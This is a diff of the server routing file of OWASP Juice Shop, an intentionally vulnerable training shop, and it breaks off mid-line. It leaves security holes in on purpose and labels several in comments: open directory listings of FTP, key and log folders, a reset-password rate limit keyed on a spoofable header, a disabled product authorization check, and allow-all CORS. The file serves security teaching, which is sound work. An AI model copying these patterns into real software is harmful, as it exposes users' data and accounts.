-const swaggerUi = require('swagger-ui-express') -const RateLimit = require('express-rate-limit') -const swaggerDocument = yaml.load(fs.readFileSync('./swagger.yml', 'utf8')) -const fileUpload = require('./routes/fileUpload') -const profileImageFileUpload = require('./routes/profileImageFileUpload') -const profileImageUrlUpload = require('./routes/profileImageUrlUpload') -const redirect = require('./routes/redirect') -const angular = require('./routes/angular') -const easterEgg = require('./routes/easterEgg') -const premiumReward = require('./routes/premiumReward') -const appVersion = require('./routes/appVersion') -const repeatNotification = require('./routes/repeatNotification') -const continueCode = require('./routes/continueCode') -const restoreProgress = require('./routes/restoreProgress') -const fileServer = require('./routes/fileServer') -const keyServer = require('./routes/keyServer') -const authenticatedUsers = require('./routes/authenticatedUsers') -const currentUser = require('./routes/currentUser') -const login = require('./routes/login') -const changePassword = require('./routes/changePassword') -const resetPassword = require('./routes/resetPassword') -const securityQuestion = require('./routes/securityQuestion') -const search = require('./routes/search') -const coupon = require('./routes/coupon') -const basket = require('./routes/basket') -const order = require('./routes/order') -const verify = require('./routes/verify') -const b2bOrder = require('./routes/b2bOrder') -const showProductReviews = require('./routes/showProductReviews') -const createProductReviews = require('./routes/createProductReviews') -const updateProductReviews = require('./routes/updateProductReviews') -const likeProductReviews = require('./routes/likeProductReviews') -const utils = require('./lib/utils') -const insecurity = require('./lib/insecurity') -const models = require('./models') -const datacreator = require('./data/datacreator') -const app = express() -const server = require('http').Server(app) -const appConfiguration = require('./routes/appConfiguration') -const captcha = require('./routes/captcha') -const trackOrder = require('./routes/trackOrder') -const countryMapping = require('./routes/countryMapping') -const basketItems = require('./routes/basketItems') -const saveLoginIp = require('./routes/saveLoginIp') -const userProfile = require('./routes/userProfile') -const updateUserProfile = require('./routes/updateUserProfile') -const config = require('config') - -errorhandler.title = `${config.get('application.name')} (Express ${utils.version('express')})` - -require('./lib/startup/validatePreconditions')() -require('./lib/startup/validateConfig')() -require('./lib/startup/cleanupFtpFolder')() -require('./lib/startup/restoreOriginalLegalInformation')() - -/* Locals */ -app.locals.captchaId = 0 -app.locals.captchaReqId = 1 -app.locals.captchaBypassReqTimes = [] -app.locals.abused_ssti_bug = false -app.locals.abused_ssrf_bug = false - -/* Bludgeon solution for possible CORS problems: Allow everything! */ -app.options('*', cors()) -app.use(cors()) - -/* Security middleware */ -app.use(helmet.noSniff()) -app.use(helmet.frameguard()) -// app.use(helmet.xssFilter()); // = no protection from persisted XSS via RESTful API - -/* Remove duplicate slashes from URL which allowed bypassing subsequent filters */ -app.use((req, res, next) => { - req.url = req.url.replace(/[/]+/g, '/') - next() -}) - -/* Security Policy */ -app.get('/security.txt', verify.accessControlChallenges()) -app.use('/security.txt', securityTxt({ - contact: config.get('application.securityTxt.contact'), - encryption: config.get('application.securityTxt.encryption'), - acknowledgements: config.get('application.securityTxt.acknowledgements') -})) - -/* robots.txt */ -app.use(robots({ UserAgent: '*', Disallow: '/ftp' })) - -/* Checks for challenges solved by retrieving a file implicitly or explicitly */ -app.use('/assets/public/images/tracking', verify.accessControlChallenges()) -app.use('/assets/public/images/products', verify.accessControlChallenges()) -app.use('/assets/i18n', verify.accessControlChallenges()) - -/* Checks for challenges solved by abusing SSTi and SSRF bugs */ -app.use('/solve/challenges/server-side', verify.serverSideChallenges()) - -/* /ftp directory browsing and file download */ -app.use('/ftp', serveIndex('ftp', { 'icons': true })) -app.use('/ftp/:file', fileServer()) - -/* /encryptionkeys directory browsing */ -app.use('/encryptionkeys', serveIndex('encryptionkeys', { 'icons': true, 'view': 'details' })) -app.use('/encryptionkeys/:file', keyServer()) - -/* Swagger documentation for B2B v2 endpoints */ -app.use('/api-docs', swaggerUi.serve, swaggerUi.setup(swaggerDocument)) - -// app.use(express.static(applicationRoot + '/app')) -app.use(express.static(path.join(__dirname, '/frontend/dist/frontend'))) - -app.use(cookieParser('kekse')) - -app.use(bodyParser.urlencoded({ extended: true })) -/* File Upload */ -app.post('/file-upload', upload.single('file'), fileUpload()) -app.post('/profile/image/file', upload.single('file'), profileImageFileUpload()) -app.post('/profile/image/url', upload.single('file'), profileImageUrlUpload()) - -app.use(bodyParser.text({ type: '*/*' })) -app.use(function jsonParser (req, res, next) { - req.rawBody = req.body - if (req.headers['content-type'] !== undefined && req.headers['content-type'].indexOf('application/json') > -1) { - if (req.body && req.body !== Object(req.body)) { // TODO Expensive workaround for 500 errors during Frisby test run (see #640) - req.body = JSON.parse(req.body) - } - } - next() -}) -/* HTTP request logging */ -let accessLogStream = require('file-stream-rotator').getStream({ filename: './logs/access.log', frequency: 'daily', verbose: false, max_logs: '2d' }) -app.use(morgan('combined', { stream: accessLogStream })) - -/* Rate limiting */ -app.enable('trust proxy') -app.use('/rest/user/reset-password', new RateLimit({ windowMs: 5 * 60 * 1000, max: 100, keyGenerator ({ headers, ip }) { return headers['X-Forwarded-For'] || ip }, delayMs: 0 })) - -/** Authorization **/ -/* Checks on JWT in Authorization header */ -app.use(verify.jwtChallenges()) -/* Baskets: Unauthorized users are not allowed to access baskets */ -app.use('/rest/basket', insecurity.isAuthorized()) -/* BasketItems: API only accessible for authenticated users */ -app.use('/api/BasketItems', insecurity.isAuthorized()) -app.use('/api/BasketItems/:id', insecurity.isAuthorized()) -/* Feedbacks: GET allowed for feedback carousel, POST allowed in order to provide feedback without being logged in */ -app.use('/api/Feedbacks/:id', insecurity.isAuthorized()) -/* Users: Only POST is allowed in order to register a new user */ -app.get('/api/Users', insecurity.isAuthorized()) -app.route('/api/Users/:id') - .get(insecurity.isAuthorized()) - .put(insecurity.denyAll()) // Updating users is forbidden to make the password change challenge harder - .delete(insecurity.denyAll()) // Deleting users is forbidden entirely to keep login challenges solvable -/* Products: Only GET is allowed in order to view products */ -app.post('/api/Products', insecurity.isAuthorized()) -// app.put('/api/Products/:id', insecurity.isAuthorized()); // = missing function-level access control vulnerability -app.delete('/api/Products/:id', insecurity.denyAll()) // Deleting products is forbidden entirely to keep the O-Saft url-change challenge solvable -/* Challenges: GET list of challenges allowed. Everything else forbidden independent of authorization (hence the random secret) */ -app.post('/api/Challenges', insecurity.denyAll()) -app.use('/api/Challenges/:id', insecurity.denyAll()) -/* Complaints: POST and GET allowed when logged in only */ -app.get('/api/Complaints', insecurity.isAuthorized()) -app.post('/api/Complaints', insecurity.isAuthorized()) -app.use('/api/Complaints/:id', insecurity.denyAll()) -/* Recycles: POST and GET allowed when logged in only */ -app.get('/api/Recycles', insecurity.isAuthorized()) -app.post('/api/Recycles', insecurity.isAuthorized()) -app.use('/api/Recycles/:id', insecurity.denyAll()) -/* SecurityQuestions: Only GET list of questions allowed. */ -app.post('/api/SecurityQuestions', insecurity.denyAll()) -app.use('/api/SecurityQuestions/:id', insecurity.denyAll()) -/* SecurityAnswers: Only POST of answer allowed. */ -app.get('/api/SecurityAnswers', insecurity.denyAll()) -app.use('/api/SecurityAnswers/:id', insecurity.denyAll()) -/* REST API */ -app.use('/rest/user/authentication-details', insecurity.isAuthorized()) -app.use('/rest/basket/:id', insecurity.isAuthorized()) -app.use('/rest/basket/:id/order', insecurity.isAuthorized()) -/* Challenge evaluation before epilogue takes over */ -app.post('/api/Feedbacks', verify.forgedFeedbackChallenge()) -/* Captcha verification before epilogue takes over */ -app.post('/api/Feedbacks', captcha.verifyCaptcha()) -/* Captcha Bypass challenge verification */ -app.post('/api/Feedbacks', verify.captchaBypassChallenge()) -/* Register admin challenge verification */ -app.post('/api/Users', verify.registerAdminChallenge()) -/* Unauthorized users are not allowed to access B2B API */ -app.use('/b2b/v2', insecurity.isAuthorized()) -/* Add item to basket */ -app.post('/api/BasketItems', basketItems()) - -/* Verifying DB related challenges can be postponed until the next request for challenges is coming via epilogue */ -app.use(verify.databaseRelatedChallenges()) - -/* Generated API endpoints */ -epilogue.initialize({ app, sequelize: models.sequelize }) - -const autoModels = ['User', 'Product', 'Feedback', 'BasketItem', 'Challenge', 'Complaint', 'Recycle', 'SecurityQuestion', 'SecurityAnswer'] - -for (const modelName of autoModels) { - const resource = epilogue.resource({ - model: models[modelName], - endpoints: [`/api/${modelName}s`, `/api/${modelName}s/:id`] - }) - - // fix the api difference between epilogue and previously used sequlize-restful - resource.all.send.before((req, res, context) => { - context.instance = { - status: 'success', - data: context.instance - } - return context.continue - }) -} - -/* Custom Restful API */ -app.post('/rest/user/login', login()) -app.get('/rest/user/change-password', changePassword()) -app.post('/rest/user/reset-password', resetPassword()) -app.get('/rest/user/security-question', securityQuestion()) -app.get('/rest/user/whoami', currentUser()) -app.get('/rest/user/authentication-details', authenticatedUsers()) -app.get('/rest/product/search', search()) -app.get('/rest/basket/:id', basket()) -app.post('/rest/basket/:id/checkout', order()) -app.put('/rest/basket/:id/coupon/:coupon', coupon()) -app.get('/rest/admin/application-version', appVersion()) -app.get('/rest/admin/application-configuration', appConfiguration()) -app.get('/rest/repeat-notification', repeatNotification()) -app.get('/rest/continue-code', continueCode()) -app.put('/rest/continue-code/apply/:continueCode', restoreProgress()) -app.get('/rest/admin/application-version', appVersion()) -app.get('/redirect', redirect()) -app.get('/rest/captcha', captcha()) -app.get('/rest/track-order/:id', trackOrder()) -app.get('/rest/country-mapping', countryMapping()) -app.get('/rest/saveLoginIp', saveLoginIp()) - -/* NoSQL API endpoints */ -app.get('/rest/product/:id/reviews', showProductReviews()) -app.put('/rest/product/:id/reviews', createProductReviews()) -app.patch('/rest/product/reviews', insecurity.isAuthorized(), updateProductReviews()) -app.post('/rest/product/reviews', insecurity.isAuthorized(), likeProductReviews()) - -/* B2B Order API */ -app.post('/b2b/v2/orders', b2bOrder()) - -/* File Serving */ -app.get('/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg', easterEgg()) -app.get('/this/page/is/hidden/behind/an/incredibly/high/paywall/that/could/only/be/unlocked/by/sending/1btc/to/us', premiumReward()) - -/* Routes for profile page */ -app.get('/profile', userProfile()) -app.post('/profile', updateUserProfile()) - -app.use(angular()) - -/* Error Handling */ -app.use(verify.errorHandlingChallenge()) -app.use(errorhandler()) - -exports.start = async function (readyCallback) { - await models.sequelize.sync({ force: true }) - await datacreator() - - server.listen(process.env.PORT || config.get('server.port'), () => { - console.log() - console.log(colors.green('Server listening on port %d'), config.get('server.port')) - console.log() - require('./lib/startup/registerWebsocketEvents')(server) - if (readyCallback) { - readyCallback() - } - }) - - require('./lib/startup/customizeApplication')() - require('./lib/startup/customizeEasterEgg')() -} - -exports.close = function (exitCode) { - if (server) { - server.close(exitCode) - } else { - process.exit(exitCode) - } -} diff --git a/server.ts b/server.ts new file mode 100644 index 00000000000..688bdaa018b --- /dev/null +++ b/server.ts @@ -0,0 +1,694 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ +import dataErasure from './routes/dataErasure' +import fs = require('fs') +import { Request, Response, NextFunction } from 'express' +import { sequelize } from './models' +import { UserModel } from './models/user' +import { QuantityModel } from './models/quantity' +import { CardModel } from './models/card' +import { PrivacyRequestModel } from './models/privacyRequests' +import { AddressModel } from './models/address' +import { SecurityAnswerModel } from './models/securityAnswer' +import { SecurityQuestionModel } from './models/securityQuestion' +import { RecycleModel } from './models/recycle' +import { ComplaintModel } from './models/complaint' +import { ChallengeModel } from './models/challenge' +import { BasketItemModel } from './models/basketitem' +import { FeedbackModel } from './models/feedback' +import { ProductModel } from './models/product' +import { WalletModel } from './models/wallet' +const startTime = Date.now() +const path = require('path') +const morgan = require('morgan') +const colors = require('colors/safe') +const finale = require('finale-rest') +const express = require('express') +const compression = require('compression') +const helmet = require('helmet') +const featurePolicy = require('feature-policy') +const errorhandler = require('errorhandler') +const cookieParser = require('cookie-parser') +const serveIndex = require('serve-index') +const bodyParser = require('body-parser') +const cors = require('cors') +const securityTxt = require('express-security.txt') +const robots = require('express-robots-txt') +const yaml = require('js-yaml') +const swaggerUi = require('swagger-ui-express') +const RateLimit = require('express-rate-limit') +const client = require('prom-client') +const ipfilter = require('express-ipfilter').IpFilter +const swaggerDocument = yaml.load(fs.readFileSync('./swagger.yml', 'utf8')) +const { + ensureFileIsPassed, + handleZipFileUpload, + checkUploadSize, + checkFileType, + handleXmlUpload +} = require('./routes/fileUpload') +const profileImageFileUpload = require('./routes/profileImageFileUpload') +const profileImageUrlUpload = require('./routes/profileImageUrlUpload') +const redirect = require('./routes/redirect') +const vulnCodeSnippet = require('./routes/vulnCodeSnippet') +const vulnCodeFixes = require('./routes/vulnCodeFixes') +const angular = require('./routes/angular') +const easterEgg = require('./routes/easterEgg') +const premiumReward = require('./routes/premiumReward') +const privacyPolicyProof = require('./routes/privacyPolicyProof') +const appVersion = require('./routes/appVersion') +const repeatNotification = require('./routes/repeatNotification') +const continueCode = require('./routes/continueCode') +const restoreProgress = require('./routes/restoreProgress') +const fileServer = require('./routes/fileServer') +const quarantineServer = require('./routes/quarantineServer') +const keyServer = require('./routes/keyServer') +const logFileServer = require('./routes/logfileServer') +const metrics = require('./routes/metrics') +const authenticatedUsers = require('./routes/authenticatedUsers') +const currentUser = require('./routes/currentUser') +const login = require('./routes/login') +const changePassword = require('./routes/changePassword') +const resetPassword = require('./routes/resetPassword') +const securityQuestion = require('./routes/securityQuestion') +const search = require('./routes/search') +const coupon = require('./routes/coupon') +const basket = require('./routes/basket') +const order = require('./routes/order') +const verify = require('./routes/verify') +const recycles = require('./routes/recycles') +const b2bOrder = require('./routes/b2bOrder') +const showProductReviews = require('./routes/showProductReviews') +const createProductReviews = require('./routes/createProductReviews') +const updateProductReviews = require('./routes/updateProductReviews') +const likeProductReviews = require('./routes/likeProductReviews') +const logger = require('./lib/logger') +const utils = require('./lib/utils') +const security = require('./lib/insecurity') +const datacreator = require('./data/datacreator') +const app = express() +const server = require('http').Server(app) +const appConfiguration = require('./routes/appConfiguration') +const captcha = require('./routes/captcha') +const trackOrder = require('./routes/trackOrder') +const countryMapping = require('./routes/countryMapping') +const basketItems = require('./routes/basketItems') +const saveLoginIp = require('./routes/saveLoginIp') +const userProfile = require('./routes/userProfile') +const updateUserProfile = require('./routes/updateUserProfile') +const videoHandler = require('./routes/videoHandler') +const twoFactorAuth = require('./routes/2fa') +const languageList = require('./routes/languages') +const config = require('config') +const imageCaptcha = require('./routes/imageCaptcha') +const dataExport = require('./routes/dataExport') +const address = require('./routes/address') +const payment = require('./routes/payment') +const wallet = require('./routes/wallet') +const orderHistory = require('./routes/orderHistory') +const delivery = require('./routes/delivery') +const deluxe = require('./routes/deluxe') +const memory = require('./routes/memory') +const chatbot = require('./routes/chatbot') +const locales = require('./data/static/locales.json') +const i18n = require('i18n') + +const appName = config.get('application.customMetricsPrefix') +const startupGauge = new client.Gauge({ + name: `${appName}_startup_duration_seconds`, + help: `Duration ${appName} required to perform a certain task during startup`, + labelNames: ['task'] +}) + +// Wraps the function and measures its (async) execution time +const collectDurationPromise = (name: string, func: Function) => { + return async (...args: any) => { + const end = startupGauge.startTimer({ task: name }) + const res = await func(...args) + end() + return res + } +} +void collectDurationPromise('validatePreconditions', require('./lib/startup/validatePreconditions'))() +void collectDurationPromise('cleanupFtpFolder', require('./lib/startup/cleanupFtpFolder'))() +void collectDurationPromise('validateConfig', require('./lib/startup/validateConfig'))() + +// Reloads the i18n files in case of server restarts or starts. +async function restoreOverwrittenFilesWithOriginals () { + await collectDurationPromise('restoreOverwrittenFilesWithOriginals', require('./lib/startup/restoreOverwrittenFilesWithOriginals'))() +} + +/* Sets view engine to hbs */ +app.set('view engine', 'hbs') + +// Function called first to ensure that all the i18n files are reloaded successfully before other linked operations. +restoreOverwrittenFilesWithOriginals().then(() => { + /* Locals */ + app.locals.captchaId = 0 + app.locals.captchaReqId = 1 + app.locals.captchaBypassReqTimes = [] + app.locals.abused_ssti_bug = false + app.locals.abused_ssrf_bug = false + + /* Compression for all requests */ + app.use(compression()) + + /* Bludgeon solution for possible CORS problems: Allow everything! */ + app.options('*', cors()) + app.use(cors()) + + /* Security middleware */ + app.use(helmet.noSniff()) + app.use(helmet.frameguard()) + // app.use(helmet.xssFilter()); // = no protection from persisted XSS via RESTful API + app.disable('x-powered-by') + app.use(featurePolicy({ + features: { + payment: ["'self'"] + } + })) + + /* Hiring header */ + app.use((req: Request, res: Response, next: NextFunction) => { + res.append('X-Recruiting', config.get('application.securityTxt.hiring')) + next() + }) + + /* Remove duplicate slashes from URL which allowed bypassing subsequent filters */ + app.use((req: Request, res: Response, next: NextFunction) => { + req.url = req.url.replace(/[/]+/g, '/') + next() + }) + + /* Increase request counter metric for every request */ + app.use(metrics.observeRequestMetricsMiddleware()) + + /* Security Policy */ + const securityTxtExpiration = new Date() + securityTxtExpiration.setFullYear(securityTxtExpiration.getFullYear() + 1) + app.get(['/.well-known/security.txt', '/security.txt'], verify.accessControlChallenges()) + app.use(['/.well-known/security.txt', '/security.txt'], securityTxt({ + contact: config.get('application.securityTxt.contact'), + encryption: config.get('application.securityTxt.encryption'), + acknowledgements: config.get('application.securityTxt.acknowledgements'), + 'Preferred-Languages': [...new Set(locales.map((locale: { key: string }) => locale.key.substr(0, 2)))].join(', '), + hiring: config.get('application.securityTxt.hiring'), + expires: securityTxtExpiration.toUTCString() + })) + + /* robots.txt */ + app.use(robots({ UserAgent: '*', Disallow: '/ftp' })) + + /* Checks for challenges solved by retrieving a file implicitly or explicitly */ + app.use('/assets/public/images/padding', verify.accessControlChallenges()) + app.use('/assets/public/images/products', verify.accessControlChallenges()) + app.use('/assets/public/images/uploads', verify.accessControlChallenges()) + app.use('/assets/i18n', verify.accessControlChallenges()) + + /* Checks for challenges solved by abusing SSTi and SSRF bugs */ + app.use('/solve/challenges/server-side', verify.serverSideChallenges()) + + /* Create middleware to change paths from the serve-index plugin from absolute to relative */ + const serveIndexMiddleware = (req: Request, res: Response, next: NextFunction) => { + const origEnd = res.end + // @ts-expect-error + res.end = function () { + if (arguments.length) { + const reqPath = req.originalUrl.replace(/\?.*$/, '') + const currentFolder = reqPath.split('/').pop() + arguments[0] = arguments[0].replace(/a href="([^"]+?)"/gi, function (matchString: string, matchedUrl: string) { + let relativePath = path.relative(reqPath, matchedUrl) + if (relativePath === '') { + relativePath = currentFolder + } else if (!relativePath.startsWith('.') && currentFolder !== '') { + relativePath = currentFolder + '/' + relativePath + } else { + relativePath = relativePath.replace('..', '.') + } + return 'a href="' + relativePath + '"' + }) + } + // @ts-expect-error + origEnd.apply(this, arguments) + } + next() + } + + // vuln-code-snippet start directoryListingChallenge accessLogDisclosureChallenge + /* /ftp directory browsing and file download */ // vuln-code-snippet neutral-line directoryListingChallenge + app.use('/ftp', serveIndexMiddleware, serveIndex('ftp', { icons: true })) // vuln-code-snippet vuln-line directoryListingChallenge + app.use('/ftp(?!/quarantine)/:file', fileServer()) // vuln-code-snippet vuln-line directoryListingChallenge + app.use('/ftp/quarantine/:file', quarantineServer()) // vuln-code-snippet neutral-line directoryListingChallenge + + /* /encryptionkeys directory browsing */ + app.use('/encryptionkeys', serveIndexMiddleware, serveIndex('encryptionkeys', { icons: true, view: 'details' })) + app.use('/encryptionkeys/:file', keyServer()) + + /* /logs directory browsing */ // vuln-code-snippet neutral-line accessLogDisclosureChallenge + app.use('/support/logs', serveIndexMiddleware, serveIndex('logs', { icons: true, view: 'details' })) // vuln-code-snippet vuln-line accessLogDisclosureChallenge + app.use('/support/logs', verify.accessControlChallenges()) // vuln-code-snippet hide-line + app.use('/support/logs/:file', logFileServer()) // vuln-code-snippet vuln-line accessLogDisclosureChallenge + + /* Swagger documentation for B2B v2 endpoints */ + app.use('/api-docs', swaggerUi.serve, swaggerUi.setup(swaggerDocument)) + + app.use(express.static(path.resolve('frontend/dist/frontend'))) + app.use(cookieParser('kekse')) + // vuln-code-snippet end directoryListingChallenge accessLogDisclosureChallenge + + /* Configure and enable backend-side i18n */ + i18n.configure({ + locales: locales.map((locale: { key: string }) => locale.key), + directory: path.resolve('i18n'), + cookie: 'language', + defaultLocale: 'en', + autoReload: true + }) + app.use(i18n.init) + + app.use(bodyParser.urlencoded({ extended: true })) + /* File Upload */ + app.post('/file-upload', uploadToMemory.single('file'), ensureFileIsPassed, metrics.observeFileUploadMetricsMiddleware(), handleZipFileUpload, checkUploadSize, checkFileType, handleXmlUpload) + app.post('/profile/image/file', uploadToMemory.single('file'), ensureFileIsPassed, metrics.observeFileUploadMetricsMiddleware(), profileImageFileUpload()) + app.post('/profile/image/url', uploadToMemory.single('file'), profileImageUrlUpload()) + app.post('/rest/memories', uploadToDisk.single('image'), ensureFileIsPassed, security.appendUserId(), metrics.observeFileUploadMetricsMiddleware(), memory.addMemory()) + + app.use(bodyParser.text({ type: '*/*' })) + app.use(function jsonParser (req: Request, res: Response, next: NextFunction) { + // @ts-expect-error + req.rawBody = req.body + if (req.headers['content-type']?.includes('application/json')) { + if (!req.body) { + req.body = {} + } + if (req.body !== Object(req.body)) { // Expensive workaround for 500 errors during Frisby test run (see #640) + req.body = JSON.parse(req.body) + } + } + next() + }) + + /* HTTP request logging */ + const accessLogStream = require('file-stream-rotator').getStream({ + filename: path.resolve('logs/access.log'), + frequency: 'daily', + verbose: false, + max_logs: '2d' + }) + app.use(morgan('combined', { stream: accessLogStream })) + + // vuln-code-snippet start resetPasswordMortyChallenge + /* Rate limiting */ + app.enable('trust proxy') + app.use('/rest/user/reset-password', new RateLimit({ + windowMs: 5 * 60 * 1000, + max: 100, + keyGenerator ({ headers, ip }: { headers: any, ip: any }) { return headers['X-Forwarded-For'] || ip } // vuln-code-snippet vuln-line resetPasswordMortyChallenge + })) + // vuln-code-snippet end resetPasswordMortyChallenge + + // vuln-code-snippet start changeProductChallenge + /** Authorization **/ + /* Checks on JWT in Authorization header */ // vuln-code-snippet hide-line + app.use(verify.jwtChallenges()) // vuln-code-snippet hide-line + /* Baskets: Unauthorized users are not allowed to access baskets */ + app.use('/rest/basket', security.isAuthorized(), security.appendUserId()) + /* BasketItems: API only accessible for authenticated users */ + app.use('/api/BasketItems', security.isAuthorized()) + app.use('/api/BasketItems/:id', security.isAuthorized()) + /* Feedbacks: GET allowed for feedback carousel, POST allowed in order to provide feedback without being logged in */ + app.use('/api/Feedbacks/:id', security.isAuthorized()) + /* Users: Only POST is allowed in order to register a new user */ + app.get('/api/Users', security.isAuthorized()) + app.route('/api/Users/:id') + .get(security.isAuthorized()) + .put(security.denyAll()) + .delete(security.denyAll()) + /* Products: Only GET is allowed in order to view products */ // vuln-code-snippet neutral-line changeProductChallenge + app.post('/api/Products', security.isAuthorized()) // vuln-code-snippet neutral-line changeProductChallenge + // app.put('/api/Products/:id', security.isAuthorized()) // vuln-code-snippet vuln-line changeProductChallenge + app.delete('/api/Products/:id', security.denyAll()) + /* Challenges: GET list of challenges allowed. Everything else forbidden entirely */ + app.post('/api/Challenges', security.denyAll()) + app.use('/api/Challenges/:id', security.denyAll()) + /* Complaints: POST and GET allowed when logged in only */ + app.get('/api/Complaints', security.isAuthorized()) + app.post('/api/Complaints', security.isAuthorized()) + app.use('/api/Complaints/:id', security.denyAll()) + /* Recycles: POST and GET allowed when logged in only */ + app.get('/api/Recycles', recycles.blockRecycleItems()) + app.post('/api/Recycles', security.isAuthorized()) + /* Challenge evaluation before finale takes over */ + app.get('/api/Recycles/:id', recycles.getRecycleItem()) + app.put('/api/Recycles/:id', security.denyAll()) + app.delete('/api/Recycles/:id', security.denyAll()) + /* SecurityQuestions: Only GET list of questions allowed. */ + app.post('/api/SecurityQuestions', security.denyAll()) + app.use('/api/SecurityQuestions/:id', security.denyAll()) + /* SecurityAnswers: Only POST of answer allowed. */ + app.get('/api/SecurityAnswers', security.denyAll()) + app.use('/api/SecurityAnswers/:id', security.denyAll()) + /* REST API */ + app.use('/rest/user/authentication-details', security.isAuthorized()) + app.use('/rest/basket/:id', security.isAuthorized()) + app.use('/rest/basket/:id/order', security.isAuthorized()) + /* Challenge evaluation before finale takes over */ // vuln-code-snippet hide-start + app.post('/api/Feedbacks', verify.forgedFeedbackChallenge()) + /* Captcha verification before finale takes over */ + app.post('/api/Feedbacks', captcha.verifyCaptcha()) + /* Captcha Bypass challenge verification */ + app.post('/api/Feedbacks', verify.captchaBypassChallenge()) + /* User registration challenge verifications before finale takes over */ + app.post('/api/Users', verify.registerAdminChallenge()) + app.post('/api/Users', verify.passwordRepeatChallenge()) // vuln-code-snippet hide-end + /* Unauthorized users are not allowed to access B2B API */ + app.use('/b2b/v2', security.isAuthorized()) + /* Check if the quantity is available in stock and limit per user not exceeded, then add item to basket */ + app.put('/api/BasketItems/:id', security.appendUserId(), basketItems.quantityCheckBeforeBasketItemUpdate()) + app.post('/api/BasketItems', security.appendUserId(), basketItems.quantityCheckBeforeBasketItemAddition(), basketItems.addBasketItem()) + /* Accounting users are allowed to check and update quantities */ + app.delete('/api/Quantitys/:id', security.denyAll()) + app.post('/api/Quantitys', security.denyAll()) + app.use('/api/Quantitys/:id', security.isAccounting(), ipfilter(['123.456.789'], { mode: 'allow' })) + /* Feedbacks: Do not allow changes of existing feedback */ + app.put('/api/Feedbacks/:id', security.denyAll()) + /* PrivacyRequests: Only allowed for authenticated users */ + app.use('/api/PrivacyRequests', security.isAuthorized()) + app.use('/api/PrivacyRequests/:id', security.isAuthorized()) + /* PaymentMethodRequests: Only allowed for authenticated users */ + app.post('/api/Cards', security.appendUserId()) + app.get('/api/Cards', security.appendUserId(), payment.getPaymentMethods()) + app.put('/api/Cards/:id', security.denyAll()) + app.delete('/api/Cards/:id', security.appendUserId(), payment.delPaymentMethodById()) + app.get('/api/Cards/:id', security.appendUserId(), payment.getPaymentMethodById()) + /* PrivacyRequests: Only POST allowed for authenticated users */ + app.post('/api/PrivacyRequests', security.isAuthorized()) + app.get('/api/PrivacyRequests', security.denyAll()) + app.use('/api/PrivacyRequests/:id', security.denyAll()) + + app.post('/api/Addresss', security.appendUserId()) + app.get('/api/Addresss', security.appendUserId(), address.getAddress()) + app.put('/api/Addresss/:id', security.appendUserId()) + app.delete('/api/Addresss/:id', security.appendUserId(), address.delAddressById()) + app.get('/api/Addresss/:id', security.appendUserId(), address.getAddressById()) + app.get('/api/Deliverys', delivery.getDeliveryMethods()) + app.get('/api/Deliverys/:id', delivery.getDeliveryMethod()) + // vuln-code-snippet end changeProductChallenge + + /* Verify the 2FA Token */ + app.post('/rest/2fa/verify', + new RateLimit({ windowMs: 5 * 60 * 1000, max: 100 }), + twoFactorAuth.verify() + ) + /* Check 2FA Status for the current User */ + app.get('/rest/2fa/status', security.isAuthorized(), twoFactorAuth.status()) + /* Enable 2FA for the current User */ + app.post('/rest/2fa/setup', + new RateLimit({ windowMs: 5 * 60 * 1000, max: 100 }), + security.isAuthorized(), + twoFactorAuth.setup() + ) + /* Disable 2FA Status for the current User */ + app.post('/rest/2fa/disable', + new RateLimit({ windowMs: 5 * 60 * 1000, max: 100 }), + security.isAuthorized(), + twoFactorAuth.disable() + ) + /* Verifying DB related challenges can be postponed until the next request for challenges is coming via finale */ + app.use(verify.databaseRelatedChallenges()) + + // vuln-code-snippet start registerAdminChallenge + /* Generated API endpoints */ + finale.initialize({ app, sequelize }) + + const autoModels = [ + { name: 'User', exclude: ['password', 'totpSecret'], model: UserModel }, + { name: 'Product', exclude: [], model: ProductModel }, + { name: 'Feedback', exclude: [], model: FeedbackModel }, + { name: 'BasketItem', exclude: [], model: BasketItemModel }, + { name: 'Challenge', exclude: [], model: ChallengeModel }, + { name: 'Complaint', exclude: [], model: ComplaintModel }, + { name: 'Recycle', exclude: [], model: RecycleModel }, + { name: 'SecurityQuestion', exclude: [], model: SecurityQuestionModel }, + { name: 'SecurityAnswer', exclude: [], model: SecurityAnswerModel }, + { name: 'Address', exclude: [], model: AddressModel }, + { name: 'PrivacyRequest', exclude: [], model: PrivacyRequestModel }, + { name: 'Card', exclude: [], model: CardModel }, + { name: 'Quantity', exclude: [], model: QuantityModel } + ] + + for (const { name, exclude, model } of autoModels) { + const resource = finale.resource({ + model, + endpoints: [`/api/${name}s`, `/api/${name}s/:id`], + excludeAttributes: exclude + }) + + // create a wallet when a new user is registered using API + if (name === 'User') { // vuln-code-snippet neutral-line registerAdminChallenge + resource.create.send.before((req: Request, res: Response, context: { instance: { id: any }, continue: any }) => { // vuln-code-snippet vuln-line registerAdminChallenge + WalletModel.create({ UserId: context.instance.id }).catch((err: unknown) => { + console.log(err) + }) + return context.continue // vuln-code-snippet neutral-line registerAdminChallenge + }) // vuln-code-snippet neutral-line registerAdminChallenge + } // vuln-code-snippet neutral-line registerAdminChallenge + // vuln-code-snippet end registerAdminChallenge + + // translate challenge descriptions and hints on-the-fly + if (name === 'Challenge') { + resource.list.fetch.after((req: Request, res: Response, context: { instance: string | any[], continue: any }) => { + for (let i = 0; i < context.instance.length; i++) { + let description = context.instance[i].description + if (utils.contains(description, '(This challenge is ')) { + const warning = description.substring(description.indexOf(' (This challenge is ')) + description = description.substring(0, description.indexOf(' (This challenge is ')) + context.instance[i].description = req.__(description) + req.__(warning) + } else { + context.instance[i].description = req.__(description) + } + if (context.instance[i].hint) { + context.instance[i].hint = req.__(context.instance[i].hint) + } + } + return context.continue + }) + resource.read.send.before((req: Request, res: Response, context: { instance: { description: string, hint: string }, continue: any }) => { + context.instance.description = req.__(context.instance.description) + if (context.instance.hint) { + context.instance.hint = req.__(context.instance.hint) + } + return context.continue + }) + } + + // translate security questions on-the-fly + if (name === 'SecurityQuestion') { + resource.list.fetch.after((req: Request, res: Response, context: { instance: string | any[], continue: any }) => { + for (let i = 0; i < context.instance.length; i++) { + context.instance[i].question = req.__(context.instance[i].question) + } + return context.continue + }) + resource.read.send.before((req: Request, res: Response, context: { instance: { question: string }, continue: any }) => { + context.instance.question = req.__(context.instance.question) + return context.continue + }) + } + + // translate product names and descriptions on-the-fly + if (name === 'Product') { + resource.list.fetch.after((req: Request, res: 